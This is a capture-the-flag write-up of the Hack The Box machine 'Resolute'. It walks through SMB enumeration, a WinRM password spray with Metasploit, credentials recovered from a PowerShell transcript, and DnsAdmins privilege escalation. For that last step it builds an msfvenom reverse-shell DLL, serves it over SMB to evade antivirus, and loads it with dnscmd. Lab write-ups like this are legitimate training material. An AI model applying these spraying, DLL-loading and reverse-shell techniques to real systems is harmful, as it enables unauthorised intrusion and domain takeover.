Hackthebox Resolute writeup

Hackthebox Resolute writeup


Note:- I have not hided the flag because of Hackthebox new flag rotation.So there are no worries about the flags.


Hi everyone hope you all doing well .

Here I am back with another Hackthebox machine writeup.

Today we will be doing a Windows machine from Hackthebox .

It is a medium level box which has smb ports open .And on little enumeration we get creds for a user.Which in real are correct for other user.Then we get Another creds in a hidden script .Followed by the Using Dnsadmin Privileges to set our malicious .dll payload to get the root.

Lessons learned

1-Basic Enumeration Skills(enum4linux)
2-Bruteforceing Winrm creds
3-Searching Hidden files
4-Setting smbserver
5-Using Dnsadmin privilages to get root.

Steps involved

1-Port Scan
2-Basic enumeration using enum4linux
3-Getting user.txt
4-Seacrhing Hidden files
5-Privilage escalation via DnsAdmin privilages
6-Getting root.txt

Commands involved

1-nmap -sC -sV -oV
2-enum4linux -a
3-service postgresql start
5-use auxiliary/scanner/winrm/winrm_login
6-evil-winrm -u melanie -p Welcome123! -i
7-dir --force
8-evil-winrm -i -u ryan -p Serv3r4Admin4cc123!
9-whoami /all
10-msfvenom -p windows/x64/shell_reverse_tcp LHOST= LPORT=9001 -f dll > rana.dll
11-smbserver.py -smb2support rana /root/Desktop/htb/resolute/
12-dnscmd /config /serverlevelplugindll \\rana\rana.dll

Port Scan

Nmap 7.70 scan initiated Sat Feb 1 08:26:51 2020 as: nmap -sC -sV -oV
Nmap scan report for
Host is up (0.30s latency).
Not shown: 989 closed ports
53/tcp open domain?
| fingerprint-strings:
| DNSVersionBindReqTCP:
| version
|_ bind
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2020-02-01 13:34:36Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds Microsoft Windows Server 2008 R2 - 2012 microsoft-ds (workgroup: MEGABANK)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: megabank.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
Service Info: Host: RESOLUTE; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_smb2-time: Protocol negotiation failed (SMB2)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done at Sat Feb 1 08:28:48 2020 -- 1 IP address (1 host up) scanned in 116.44 seconds

Basic enumeration using enum4linux

So Here now port 80 is open .But the samba ports are open.

The best tool for enumerating these services is Enum4linux.

enum4linux -a
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So it seems that the default password given to Marko is Welcome123!

I tried to login into smb but the creds didn’t worked.But as it seems the password is Default so if someone is lazy who has not changed his or her password .

So I decided to brute force it.As i had the user names from the enum4linux results .

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Getting User.txt

Bruteforceing Winrm creds

For this Brute force i created a file with User names in it.

root@nagendra:~/Desktop/htb/resolute# cat users

I used metasploit smb login module for this purpose .

root@nagendra:~/Desktop/htb/resolute# service postgresql start
root@nagendra:~/Desktop/htb/resolute# msfconsole
msf5 > use auxiliary/scanner/winrm/winrm_login
msf5 auxiliary(scanner/winrm/winrm_login) > set rhosts
rhosts =>
msf5 auxiliary(scanner/winrm/winrm_login) > set user_file /root/Desktop/htb/resolute/users
user_file => /root/Desktop/htb/resolute/users
msf5 auxiliary(scanner/winrm/winrm_login) > set password Welcome123!
password => Welcome123!
[*] Auxiliary module execution completed
msf5 auxiliary(scanner/winrm/winrm_login) > run
[-] - LOGIN FAILED: megabank.local\Administrator:Welcome123! (Incorrect: )
[-] - LOGIN FAILED: megabank.local\Guest:Welcome123! (Incorrect: )
[-] - LOGIN FAILED: megabank.local\krbtgt:Welcome123! (Incorrect: )
[-] - LOGIN FAILED: megabank.local\DefaultAccount:Welcome123! (Incorrect: )
[-] - LOGIN FAILED: megabank.local\ryan:Welcome123! (Incorrect: )
[-] - LOGIN FAILED: megabank.local\marko:Welcome123! (Incorrect: )
[-] - LOGIN FAILED: megabank.local\sunita:Welcome123! (Incorrect: )
[-] - LOGIN FAILED: megabank.local\abigail:Welcome123! (Incorrect: )
[-] - LOGIN FAILED: megabank.local\marcus:Welcome123! (Incorrect: )
[-] - LOGIN FAILED: megabank.local\sally:Welcome123! (Incorrect: )
[-] - LOGIN FAILED: megabank.local\fred:Welcome123! (Incorrect: )
[-] - LOGIN FAILED: megabank.local\angela:Welcome123! (Incorrect: )
[-] - LOGIN FAILED: megabank.local\felicia:Welcome123! (Incorrect: )
[-] - LOGIN FAILED: megabank.local\gustavo:Welcome123! (Incorrect: )
[-] - LOGIN FAILED: megabank.local\ulf:Welcome123! (Incorrect: )
[-] - LOGIN FAILED: megabank.local\stevie:Welcome123! (Incorrect: )
[-] - LOGIN FAILED: megabank.local\claire:Welcome123! (Incorrect: )
[-] - LOGIN FAILED: megabank.local\paulo:Welcome123! (Incorrect: )
[-] - LOGIN FAILED: megabank.local\steve:Welcome123! (Incorrect: )
[-] - LOGIN FAILED: megabank.local\annette:Welcome123! (Incorrect: )
[-] - LOGIN FAILED: megabank.local\annika:Welcome123! (Incorrect: )
[-] - LOGIN FAILED: megabank.local\per:Welcome123! (Incorrect: )
[-] - LOGIN FAILED: megabank.local\claude:Welcome123! (Incorrect: )
[+] - Login Successful: megabank.local\melanie:Welcome123!
[-] - LOGIN FAILED: megabank.local\zach:Welcome123! (Incorrect: )
[-] - LOGIN FAILED: megabank.local\simon:Welcome123! (Incorrect: )
[-] - LOGIN FAILED: megabank.local\naoki:Welcome123! (Incorrect: )
[-] - LOGIN FAILED: megabank.local\:Welcome123! (Incorrect: )
[] Scanned 1 of 1 hosts (100% complete) [] Auxiliary module execution completed
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Now we have the correct creds so let’s login.I used evil-winrm for this purpose .

evil-winrm -u melanie -p Welcome123! -i
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Searching Hidden files

So now we have shell as melanie and also the user flag .Lets’s enumerate inside it.

After little enumeration i got a file that contained creds for the ryan user.

Evil-WinRM PS C:\PSTranscripts\20191203> cat PowerShell_transcript.RESOLUTE.OJuoBGhU.20191203063201.txt
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Privilage escalation via DnsAdmin privilages

Now let’s login into ryan user using evil-winrm

evil-winrm -i -u ryan -p Serv3r4Admin4cc123!

Got some notes here.

Evil-WinRM PS C:\Users\ryan\Desktop> cat note.txt
Email to team:
due to change freeze, any system changes (apart from those to the administrator account) will be automatically reverted within 1 minute

Taking note.txt in consideration let’s see in which group is ryan.

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So the ryan is in Dnsadmins group .So let’s use this to get the root.

For more understanding read the this post.

First of let’s create a malicious .dll file using msfvenom .

root@nagendra:~/Desktop/htb/resolute# msfvenom -p windows/x64/shell_reverse_tcp LHOST= LPORT=9001 -f dll > rana.dll
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After creating the malicious .dll file now we need to upload it .But to bypass AV check we need to do it by smbserver.

So I used Impacket tool smbserver.py

You have to run the server in the directory where you have malicious file.

root@nagendra:~/Desktop/htb/resolute# smbserver.py -smb2support rana /root/Desktop/htb/resolute/
Here rana is the name of share 
/root/Desktop/htb/resolute/ is the path

Now let’s set our malicious .dll file.

Evil-WinRM PS C:\Users\ryan\Documents> dnscmd /config /serverlevelplugindll \\rana\rana.dll
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Getting root.txt

And we just restarted the service and got the root shell.

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So let’s read the root flag.

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Thanks for reading the writeup Have a nice day.

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